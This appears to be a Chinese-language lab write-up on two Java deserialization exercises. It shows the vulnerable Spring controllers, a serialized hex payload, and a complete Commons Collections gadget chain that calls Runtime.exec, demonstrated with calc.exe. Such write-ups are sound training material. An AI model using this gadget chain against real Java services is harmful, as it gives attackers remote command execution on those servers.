2023/10/29:java反序列化:靶场记录

Lab-1

源码

IndexController.class:

1
2
3
4
5
6
7
8
9
...
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);//这里把传入的东西从hex变为比特数组,得比特数组再转hex才能传
InputStream inputStream = new ByteArrayInputStream(b);//从字节序列转换
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();//反序列化
return "index";
}
...

接受data,把传入的类进行了反序列化,方法的实现在Utils.class文件中

Utils.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yxxx.javasec.deserialize;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class Utils {
public Utils() {
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}

static int hexCharToInt(char c) {
if (c >= '0' && c <= '9') {
return c - 48;
} else if (c >= 'A' && c <= 'F') {
return c - 65 + 10;
} else if (c >= 'a' && c <= 'f') {
return c - 97 + 10;
} else {
throw new RuntimeException("invalid hex char '" + c + "'");
}
}

public static byte[] hexStringToBytes(String s) {
if (s == null) {
return null;
} else {
int sz = s.length();
byte[] ret = new byte[sz / 2];

for(int i = 0; i < sz; i += 2) {
ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1)));
}

return ret;
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
}

解决

解答如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;

import java.io.*;

public class Main {
public static void main(String[] arg) throws Exception{
Calc calc = new Calc();//提前修改了Calc,修改为:canPopCalc = true,cmd = "calc.exe",反序列化时会执行cmd
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);//转换为字节序列
oos.writeObject(calc);//把要传的类放进去,序列化,将对象序列化后的数据写入b
System.out.println(Utils.bytesTohexString(b.toByteArray()));
}
}

生成了:

1
aced000573720021636f6d2e797878782e6a6176617365632e646573657269616c697a652e43616c6318e1092605b13ed80200025a000a63616e506f7043616c634c0003636d647400124c6a6176612f6c616e672f537472696e673b78700174000863616c632e657865

把这个传进去会弹个计算器

Lab-2

java -jar lab2-ysoserial.jar还是springboot

大部分和Lab-1差不多

IndexController.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896) {
objectInputStream.readObject();
}

return "index";
}
}

在反序列化之前先检测了readUTF和readInt的值,也就是在序列化之后附加两个值通过比较即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
import java.lang.Runtime;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;
//以上大部分没用
public class testforlearn {
public static Object get(String cmd) throws Exception{
//前面过程相同,略
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"a");

HashMap<Object,Object> map2 = new HashMap();
map2.put(tiedMapEntry,"aa");

lazyMap.remove("a");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);//把1改成chainedTransformer

return map2;
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}

public static void main(String[] args) throws Exception{
ByteArrayOutputStream bar = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bar);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(get("calc.exe"));
oos.close();
System.out.println(bytesTohexString(bar.toByteArray()));
}
}

反正大概就是这样(